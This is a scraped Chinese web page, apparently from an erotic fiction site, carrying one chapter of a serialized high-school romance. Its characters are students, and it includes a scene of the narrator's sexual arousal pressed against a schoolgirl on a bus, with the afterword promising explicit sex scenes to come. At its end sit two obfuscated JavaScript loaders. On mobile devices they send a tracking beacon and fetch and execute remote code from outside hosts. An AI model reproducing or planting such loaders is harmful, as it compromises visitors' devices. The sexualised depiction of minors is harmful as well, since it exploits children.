图片载入中

我的高中生活16

特大字】 【大字】 【中字】 【小字

※本故事纯属虚构,人物名称如有雷同,纯属巧合※

前言:教育部今年开始实行“男女同学共同修习法案”,也就是俗称的“椅伴法案”。每学期开始会抽签决定每位同学的椅伴,大致上的规则是:两人共用一个课桌椅,上课时必须采取女上男下叠坐的姿势;唯有考试时,两人可并排共座;户外体育课及不在原班级教室上课的通识课除外,可于每堂课前自行决定椅伴。不遵守规定者,记警告或大小过.

第一次和暐榕留校自修,享受了片刻的甜蜜,也在夜里忍不住想念,第一次拨了电话给她。但原本下定的决心,却在看完日记后动摇了,本以为从日记中看到妍萱和他越来越偏的行径后,可以恨她,可以对她说得出口那件事情,但没想到在了解了整件事情的背后之后,我心里只剩下无限的愧疚和自责

我的高中生活,甚至是我的人生,由新制上路那天开始有了很大的转变……

***********************************

(16)通识课和影片欣赏(二)

“铃铃铃铃铃铃铃铃铃铃铃~~”啊!糟糕,几点了?

挣扎着睁开眼,拿起手机一看,可恶,结果还是睡过头了。本来今天想早点起来,去车站等妍萱,因为我真的好担心她的状况.昨天看完日记想到要打给她时,已经好晚了,依她的习惯,早就在睡觉而且关机了吧!

昨天看完最后那部分,结果又让我想了整晚,光是看了她写下的文字,也许只感受到她难过的十分之一,就觉得心情抑郁到谷底,更何况是这段时间以来独自一人面对、一直饱受心理折磨的她呢?虽然不知道我要用什么立场来关心她,该跟她说些什么,但我真的不能放着她不管,要是再这么下去,说不定她会做出什么傻事的!

但是我和榕的事呢?本来想找机会跟她说清楚,做个结束的,这下该如何开得了口。我看,这件事只能暂时缓缓了。沿路上我都在整理着昨晚复杂的情绪,想了一夜,还是一样的乱.

************

“你今天怎么又那么晚?”我走到位子旁,暐榕站起来让位时一边说.

“喔……没有啦!”

“英文作业呢?还不交出来。”她才刚坐上我的腿就说.

“喔!”我从书包里翻出昨晚带回去的英文作业和试卷,还有她借我的笔记跟课本,全都拿出来放在桌上

“怎么没有写完?才做一半而已欸!”

“唉唷,就……昨天自修完太累,回到家就没力了。”

“你回去都在打电动齁?”

“没有啦!”

“骗人。”

“真的没有咩,干嘛一直怀疑我在打电动?”

“你干嘛,生气了喔?吼,我知道,该不会昨天打电话给我没理你,所以生气了?”

“不是啦!”

“少装了,你今天一进门脸就臭臭的,一定有怎样。”

“没有啦!”

“真的吗?”暐榕转侧身来,用她水灵的眼睛看着我

“我真的……没有怎样啦!”我悄悄的伸出左手摸摸她的头说.

“真的哦?那你要不要看我昨晚写的数学?跟你说喔,我终于搞懂了……”

暐榕转回去就从抽屉拿出她的数学课本和作业,摊在桌上要给我看,我把下巴靠在她的右肩,听她开心的说着昨天悟出的一些简单公式和试题的计算过程我偷偷的往斜前方瞄了一眼,妍萱坐在何宇民身上,从背后实在看不出有什么异状,还是跟之前一样,妍萱上身微微往右偏,在看着自己的课本,而左撇子的何宇民则是由左侧往前靠,看着放在桌上左侧他自己的笔记

“……你看,所以结果是这样,我没算错吧?喂~~”暐榕顶了一下肩膀,我才回过神来,看向我们桌上的书本

“嗯,差不多啦!”

“啊~~嗯……”忍不住困意,我接着打了一个好大的哈欠

“你,昨天又很晚睡喔?”

“嗯。”

“叫你早点睡,每次都讲不听。好啦,我先帮你看看英文作业,给你睡一下下,老师进来再叫你。”

“嗯。”

“只能眯一下下喔!”

“好啦!”我把额头靠在暐榕背上之前,再瞄了一眼斜前方的妍萱,不知道她现在心里是不是还在承受着煎熬?从她长发的背影,实在看不出来。今天,再看看有没有机会可以跟她说上话吧,虽然我也不知道该跟她说些什么.

看了最后一眼,我才把眼睛闭上,将头靠在暐榕背上,双手轻轻放在她的腰间,感受她温暖的体温,没多久就不知不觉地睡着了

************

“起床了啦……等下要……快点起来……”我感觉到一阵摇晃,头好晕“你真的很夸张欸,整个早上都在打瞌睡,午休一路睡到现在还叫不醒,昨天到底几点睡啊?”原来是暐榕在叫我。我挣扎着起身往后靠,好让她先离开位子,可能是要去厕所还是找她们那群的吧!

“赶快起来知道吗?我先出去了喔!”

“喔,好啦!”

我在座位上发了一会呆,想让头脑清醒一点,因为昨晚几乎没什么睡,天都要亮了还醒着,刚刚一睡睡得太沉了。忽然一股尿意,我想还是去厕所顺便洗把脸清醒一下好了

出了教室后门,正要往厕所方向走去,远方就看到女厕走出一个脸色苍白的长发女生,大家都往楼下走去,唯独她一人默默地往楼上去了。是妍萱!她要去屋顶干嘛?她的脸色看起来好糟,是不是刚刚又发生了什么事?

我走到楼梯口,看到她摇晃长发的侧影消失在上楼的楼梯转角。我忽然想到日记中她写的最后一行字,原本头脑还在昏迷的感觉瞬间都清醒了。我不能让她这样一个人上去!这是我清醒过来后第一个想法,于是我趁没有人注意,也往楼上走去

躲在屋顶的铁门后,我看到她步伐缓慢,慢慢走到属于我们的那个角落,手扒在墙边,身体微微在颤抖。她在哭吗?我该不该现在过去关心她?可是,该跟她说些什么?用什么样的立场?我心底完全没个底。突然间,我看见她抬起头,撑着墙边,脖子向前伸的往下看。她要做什么?!

“萱!萱萱~~你在干嘛!”我想都没想赶紧从门后冲了过去

“你……你怎么在这里?”她听到我的叫喊转身过来,赶紧用手揩掉脸上的泪水

“我……先不要管我在这里做什么,你……刚刚是要干嘛?”

“我……没……没有啊!”她低着头把眼泪擦了又流下来

“为什么在这里哭,他是不是对你做了什么?”

“没……没有啊!”

“还说没有,他是不是……”

“文,你可不可以告诉我,你以前对我是真心的吗?”我还没讲完,低着头的她突然开口

“傻瓜!当然是真的啊!只是……”

“那……我们可不可以和好?我一个人……真的快……撑不下去了……”她几乎是边啜泣边说完这句话

我实在是忍不下心看她这样哭,于是靠上前,握住她的双肩,低下头去在她耳边说:“好啦,你……先不要哭了,有什么事好好说好吗?”

感觉到我的靠近,她把头埋到我胸口:“文,对不起……呜……对不起……

对不起……“她在我怀里一边抽泣,一边重复着道歉

“好了,不要怕,我在这边,不哭了,好吗?”她哭到在我怀里不断颤抖,泪水已经渗透过我胸口的制服,也浸湿了我的心。我忍不住张开双手轻轻把她拥入怀中。感受到我的拥抱后,她也伸出手,紧紧抱着我的腰

我有多久没这样抱过她了?这个长头发的女孩,既熟悉,又陌生。我一手轻轻拍着她的背,一手将她的头按在我的胸口,轻抚着她的头发。我实在是不知道该说什么去安慰她,我想她也不会马上跟我说她心里藏的那些痛苦和秘密,我现在能做的,就是这样陪着她吧?

也不知道这样抱着她过了有多久,终于感觉她胸口的起伏慢慢和缓了些“文,你可不可以……不要再离开我了?我……我一定会跟他……”

“好啦,你先不哭,你看你,哭成这样,等下怎么上课?”我扯着胸口的制服,帮怀中的她擦拭眼角还没干的泪水

“啊!现在几分了?上课钟响过了吗?”

“我……也不知道。我们先下楼吧,应该已经上课了。”因为我听到楼下原本吵杂的校园,不知何时已经变得好安静.我拉着她的手,一路到了下楼的楼梯口才放开.

走回到四楼,我正要往班上教室的方向走去,就听到妍萱在背后沙哑轻声地说:“文……你要去哪里?这一节好像是公民课,在视听教室。”

糟了!我都忘了这节课不在教室上。那暐榕呢!?她会不会还在视听教室门口等我?还是已经找到之前跟她们比较熟的那群当中的那个胖子陪她坐?刚刚顾着安慰妍萱,竟然都忘了时间了,等一下到教室一定会被她骂惨的

我们一边继续往楼下走去,我一边掏出手机想看时间,竟然有两通未接的电话,是暐榕打的。糟糕,她可能还在门口等我,这样子跟妍萱一起过去,等下看到不就尴尬了。而且我一看时间,已经上课钟响超过五分钟了,我赶紧拉着妍萱稍微小跑步穿越学校建物间的空地往旧大楼去

一走上视听教室那层的楼梯,我紧张地望向走廊尽头,暐榕没有在那等我,还好,她已经找人到进去坐了吧!教室的门已经关起来了,我从门缝里看到里面很暗,可能都已经开始放影片了。犹豫了一会,我才鼓起勇气轻轻把门推开,里面一片漆黑,妍萱躲在我身后也一起进了教室

“报告。”

“你们两个,刚刚跑去哪幽会啊!?”公民课的林老师坐在台前一角,用带着奸笑的声线开着玩笑说.

“吼~~”全班几乎同时发出鼓噪的喧哗声

“报告老师,不好意思,我……刚刚去厕所久了点.”

“唉唷,还一起去厕所,很久才出来啊?”他继续开着轻浮的玩笑,似乎不肯放过我们。黑暗中阶梯座位上同学讪笑嘻闹声不断

“老师,不是啦,我……”

“好了,快点进去,下次再迟到,要记你们警告了。”

“是,谢谢老师。”

“谢……谢谢老师。”妍萱声音小得可能只有身旁的我听得到

我的眼睛到现在还没有适应教室里的黑暗,但我一边往阶梯上走找空位,一边努力地在人群中搜寻暐榕的身影,却始终没有看到她坐在哪

“文……那边,倒数第二排那里……还满空的。”妍萱跟在我身后拉着我的衣角说.

“喔!”事到如今,也只能先跟妍萱坐了。我们摸黑走到那排,跟走道入口的一两组同学借了过之后,挤到最里面的那个角落去。等我就座后,妍萱站在旁边犹豫了一会才说:“我……可以坐吗?”

“嗯,快先坐上来吧,不然等下又要被老师说话了。”

她很缓慢地张开腿跨坐上来,好像这是我们第一次一起坐一样,感觉好不熟悉,连她背后长发散出的玫瑰发香都是,有点陌生

就坐一会儿后,好不容易习惯了黑暗中的亮度,我赶紧继续在座位中寻找暐榕的身影,看了半天却还是找不着。她如果在座位上,应该会看到我们进门吧?

不知道她会不会误会什么,也许她会传讯给我。对了,我可以传讯问她在哪,顺便跟她解释一下

正要拿出手机,妍萱突然开口了::“文,对不起,害你也迟到了。”

“没关系啦!”

“你……你没跟她坐,不要紧吧?”

“嗯,没事啦,你不要担心。”

我赶紧把手机收回去,因为妍萱好像跟我一样没在看影片,我想她现在情绪好不容易才稳定下来,还是不要让她看到我在背后传简讯给她吧!

我假装开始看着影片,今天放的好像是一部军教片,讲述外岛兵营旁有一间专门慰藉官兵的茶室,在其中所发生的故事。虽然听说片中有些煽情的画面,但我现在实在没有什么心情看

不晓得暐榕看到我跟她一起进来,会不会很生气,而且还迟到放她一个人在那边,应该等很久了吧?她最讨厌我迟到了,尤其这次根本慢到错过了她。不知道她跟那个胖子到底坐在哪?说到那个胖子,虽然在跟我之前,暐榕也在通识课跟他坐过几次,但我一想到梦中那个死胖子在暐榕身后做的事,我就很讨厌他,虽然我知道那只是个梦

好不容易,片中的场景切换到白天室外,靠着萤幕反光的亮度,现在比较能看清楚座位上的同学,我继续再从第一排开始仔细看过,还是没有看到他们坐在哪

终于,目光一路扫到我们的前一排,视听教室的另一头,有个短发的女生,好像是暐榕,由于萤幕的光线不断在闪烁,过了一会我终于确定是她,她小嘴张着,表情好像……有点惶恐?我再仔细地看她身后那个人的身形,好像不是个胖子,那是谁?我定睛一看,竟然是……陈贵堂!

怎么会是那个恶名昭彰的小混混阿堂!?

糟了!我怎么会忘了他的事情?第一次跟暐榕坐在这边,就是因为担心她会跟他坐到啊!暐榕一定是在门口等我等到上课钟响了还等不到人,最后才不得以被分配到跟他坐的。怎么会这样?因为我一时的疏忽,为了安慰妍萱,竟然让暐榕落到跟他坐。先前就听过他对很多女生毛手毛脚的事,这下该怎么办好?

我不安的一直盯着那边看,无奈萤幕的亮度忽明忽暗,距离又实在太远,连暐榕脸上的表情都看不太清楚了,更别说桌子底下发生的事情。我好担心暐榕被他怎么样,但现在上课中正在播影片,也不可能就这么起来过去说我要换人坐,而且这样妍萱怎么办?

忽然间,我在又转暗的光线中看到他有所动作了!他好像拿出手机,双手绕到前面圈住暐榕,滑着手机给她看。他在做什么?他是在跟暐榕要电话吗?还是在跟她要通讯app的帐号?而且他把头靠在暐榕左肩,好像在她耳边说话。看到他这样好像抱着暐榕,还亲密地在耳边说话,让我肚子里一把火闷烧起来,他怎么可以这样对我的暐榕!

榕她……她看了一会,好像接过对方的手机,不停地在按些什么.难道她真的要把电话跟联络方式给这个人?榕榕!你难道倒没听过这家伙的事吗?他不但会对女生毛手毛脚,甚至有在外面混帮派啊?千万要小心这种人,万一被牵扯上了,就会很难摆脱的啊!

我看到他不断地贴在暐榕耳边说话,双手环过暐榕,远看简直就像抱着她一样,而且他刚好挡到了暐榕的脸,我看不到她脸上的表情,到底他们都在聊些什么?我真的好担心,但坐在远方又不能做什么.

结果整堂课我都转着头一直盯向他们那边,虽然看不出暐榕有像是被侵犯的异样,但一颗心悬在那里,真的很不好受。再过了一个多小时,好不容易影片播完,捱到了钟响,老师一说下课,我看到暐榕很快地就起身,往教室门口走去,她的几个好姊妹也马上跟上,好像也想关心她刚刚有没有被那家伙怎么样我也很想马上上前关心,不过妍萱还在坐在身上,她才刚起身就说:“他们好可怜喔,最后就这么被拆散了。”

“喔,对……对呀!”我心虚的回应着妍萱,根本不知道刚刚那部片在做什么.

我们的动作比较慢,是最后几组离开视听教室的

“文,今天放学我们可以一起回去吗?我……想跟他说,你要陪我回去。”

“喔,好……好啊!”

“那……我们在车站见喔!”

“嗯,好。”

听到我的答应,妍萱脸上的表情终于稍微露出了浅浅的笑,有我陪着她,果然让她好了些。但……暐榕的事呢?实在不知道该怎么办,只好先这样吧,至少得让她先摆脱何宇民那家伙的纠缠.

************

上完厕所,下一节课都快开始了,暐榕竟然还没有回到位子上,她到底去哪了?我担心得要死,很想赶快问问她刚刚有没有发生了什么事

“当~~当~~当~~当~~当~~当~~当~~当~~”

上课钟都快响完了,这时才看到她和她几个要好的同学先后进到教室。暐榕面无表情地走到我们的座位旁,我赶紧往后靠,让她坐上来

“榕榕,刚刚……对不起啦!你刚刚还好吗?有没有……发生什么事情?”

连说了两句,她都没理我,反而还把身体往前靠

“榕,对不起啦,我刚刚……上课前又肚子痛,结果蹲太久了,没注意到时间,所以才会那么晚的,你不要生气了啦!而且我也是刚好在门口遇到她,她好像……”

“你不要一直讲话,已经上课了。”

“榕榕,你不要这样啦,我真的不是故意的,我看时间发现已经上课了也吓一大跳。你是不是在门口等我等到上课……”

“你不要再说了。”她边说身体又更往前靠,整个腹部贴在桌边了

“你……刚刚跟他坐的时候,有没有怎样?他有没有对你……”我不敢太大声说话,所以只好把身体也往前靠,在她耳边继续说.

“没有。”

“他是不是跟你要电话?你有给他吗?”

“你到底想怎样?对啦,他跟我要电话,我也给他了,行不行?”她边说边气得用肩膀把我顶开.

“榕榕,对不起啦,我是想关心你,不是那个意思……”我继续贴上前说.

“我不用你关心!”她又再一次把我顶开.

“榕,你不要这样啦~~”

“你不要再跟我说话了。”

“榕榕~~榕榕……”

她整个人往前到不行,腹部紧紧贴在桌缘,双手贴着脸颊撑着下颚,连脸都不让我看到。看样子一时半刻她是不会气消的,依照往常,可能得等一两节课才会愿意再跟我说话,只好先这样了

她就这么杵在那,好像也没有在听课,也没有在写笔记。我想这应该是历来最让她生气的一次,等她稍微平静一点,一定要好好跟她解释,好好跟她道歉才行。这堂课真的很难熬,我不敢再贴着她,往后靠到椅背上,眼睛看着老师在台上讲课,一边发呆

************

结果整整两节课她都完全不肯理我,不论我在跟她说什么,她就是一句话也不肯回,就这么直到最后一节课结束。放学后,她连再见也不说,就跟着她的姊妹们一起离开了

我独自留在位子上,正默默准备要把她留在抽屉的课本和笔记收进书包,就听到前方有小声在争执的声音

“……合好?那自修呢?学校还是有规定啊!”

“对不起……我……不能再跟你一起晚自修了……”妍萱的声音小到快听不见

“你怎么可以这样,说不要就不要!?”

“对不起……”妍萱起身后,离开座位转身就往后门走

“小萱,小……”何宇民回头起身正想追上去,发现我在看着他,才停下动作,回头收了书包,气唿唿地往前门走出去

从何宇民看我的眼神,我看不出来妍萱到底有没有跟他说过,她本来的男朋友就是我,也许他停下动作,只是怕被我这个同学注意到而已。不过幸好我还没出教室,刚好被我注意到这一幕,不然也许那家伙会一直再缠着她。下次,我是不是该直接去跟他说清楚,叫他离妍萱远一点呢?但,我的立场又是什么?

我赶紧收拾了书包,小跑步出教室,看到妍萱正要下楼,我刻意跟她保持一段距离,一方面怕又会被同学注意到我跟她走得近,一方面怕何宇民趁着旁边没人,又找上她。还好我们一路到了车站,都没有再碰到那家伙

妍萱走到站牌,才刚转身就看到我跟在不远处,原本阴郁的表情,突然多了一抹浅浅的笑容。上了车后,虽然刚放学的车上人潮没晚点的那么多,但我还是和以前一样,让她站在角落窗边,用身体把她和其他人隔开,这次我没有再戴着耳机.

虽然车上的乘客密度没有让我们挤得贴在一起,但和妍萱的距离还是好近,车身一摇晃就会不小心碰到。我站在她的背后,面前不断飘来她长发散出的玫瑰香,我以前最爱闻这个味道了,至少……在暐榕出现之前

车厢上人一多,温度就热了起来,我从身后看到妍萱慢慢拉开拉炼,把外套脱了下来勾在手上。我忍不住望向她长发没有遮住的背后,借由薄薄的制服底下透出的肩带痕迹,可以看到她穿得好像是白色的胸罩,我几乎可以看到扣带那边的布料也是半透明的,是那天在阳台看到……那家伙帮妍萱脱下来的那一件吗?

一想到那件事,脑海中就不断闪过那天的片段,还有她……裸露的胸部发现自己想歪了,我赶紧把视线往下移,却又看到,妍萱洁白的小腿被一样纯洁的白色半筒学生袜包覆着,她的大腿也一样白,而且因为学生裙非常短,以至于大腿也露出很大一截,我不禁想到车上那个人对她做的事。那个人在车上的视线,应该就像我现在一样吧?这清纯诱人的白嫩双腿和短到不行的学生裙,难怪妍萱会多次在车上遇上色狼,因为它们实在有股难以抗拒的吸引力

不知不觉,我下面居然起了反应。而且因为距离很近,顶起来的前端不断碰到妍萱的裙摆,我稍微侧身用书包挡着,免得被旁人看到这尴尬的一幕。突然间一个煞车,我没站稳往前倾,整个身体贴到了妍萱身上,鼻子插到她的长发里,而下面那根,也隔着裙子顶到了妍萱柔软而有弹性的屁股

“对……对不起,你没怎样吧?”

“没……关系.”

我在干嘛啊?竟然在想这些事情!明明是应该帮妍萱走出这种阴霾的,自己下面却不听话地站了起来。我赶紧想了话题,想跟她说说话来分散注意力“萱萱,我们……好久没一起搭车了欸!”

“对……呀!”

“你还想一起听音乐吗?”

“都可以啊!”

“我问你喔,你后来……是不是不太喜欢跟我一起听歌?”

“没有!我喜欢……我喜欢跟你一起听……”她忽然转过头来,好像很怕我知道……我已经知道的那件事

“嗯,那我们再一起听吧!”

“好啊!”她的声音听起有点开心,转过身来对着我笑,眼睛微微露出许久不见的弯弯月亮。我把耳机递给她,让她自己戴起来,两个人就这么隔着十公分不到的距离,面对面地听着耳机中播放着我们最爱的五月天

有多久不曾有这种感觉了?刚刚不小心和她对到眼,我紧张地把视线移到窗外。如果是以前,我早就不顾旁人的跟着她贴在一起,甚至抱着一起听歌了。但现在,我不知道我们的关系到底算什么.

下了车后,我们一起走着,没有牵手,也没什么说话。直到路线交会的那个路口,停下脚步,我先开口了:“萱萱,那……拜拜啰!”

“嗯……拜……拜拜。”她看了我一眼,抿着下唇失落的低头转身要走“萱,等一下。你如果……有什么难过的事情,可以跟我说,不要闷在心里好吗?有什么事情,随时可以打电话,或者传讯息给我。”

“嗯,我知道了……谢谢你。”

“好啦,快回家吧,很晚了,路上小心,拜拜。”

“拜拜。”

这次跟她道别后,我赶紧回头离开,因为我怕要是再看到她失落或难过的表情,会忍不住放她一个人走的。但我想,还是要跟她保持点适当的距离,因为此时此刻,我并不是真的想……跟她复合

回家的这段路我走得特别慢,我一直在想,经过了这些误会、背叛与伤害,我跟萱真的还有办法回到像过去那样吗?就算可以,我心中还有放得下她的位置吗?也许这段时间,我们之间产生的距离早已回不去了吧?我们早已经走到了人生的那个分叉路口了,不是吗?

(第十六章完,待续)

===================================

下回预告:我的高中生活(17)通识课和影片欣赏(三)

本集登场人物:

本人许建文椅伴吴暐榕

女友吕妍萱女友椅伴何宇民

小混混陈贵堂

公民男老师林老师

后记:

我发现我有一个毛病,譬如我跟同事讲一件事,可能三句话,他听第一句就说懂了,但我一定要把剩下的讲完,没有讲完会浑身不舒服,觉得卡卡的;写作的时候也是,依照大纲一路想到什么,当下就一定要全写下来。最近发现自己真的越来越啰嗦了,其实很多不必要的细节都可以省略的

从刚开始写作怕字数篇幅太少,一路到现在,我发现如何适当的“收”才是更进阶的学问。写得太琐碎,怕会拖慢了节奏;省略得太精简,又怕一些情绪的转折太快了。越写才越觉得自己真的很菜,实在有太多要学习的,像是除了如何“收”,词汇的应用也是一大问题,总觉得自己实在太词穷了,永远都是那几个形容词在替换而已

不过这样的风格也是我一开始所想的,用简单的词汇来描述、堆砌心中发想的故事,毕竟自己也不过是理工科出身,平时也没什么看书,又缺乏文学素养,能够写到现在这样,真的已经大大超出我当初的想像了

但是随着设定的剧情来到后段,越来越多的负面情绪,实在让我写得很卡、绑手绑脚的,其实这章本来不想今天发的,因为前几天写完,觉得某处怪怪的,一改就整个后面砍掉重写了。所以今天篇幅比较短、又没有肉戏,千万不要再骂我了,顶多再撑一章,保证后面都是肉肉连发到底,拜托色急的各位再忍忍了最后呢,大家应该也看到咱们榕榕陷入危机之中,在此唿吁榕榕派的,想要出来救驾的赶快出声,因为后面有一段动作戏,在剧情线中可有可无,我实在很犹豫到底要不要多写这一部分。如果你们希望榕榕不要涉入太深、或者说想多看到一点,都请你们给点意见吧!


上一篇:仙道炼心(情色版)-第七集 第八章 一视同仁

下一篇:让我极度疯狂的男人


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};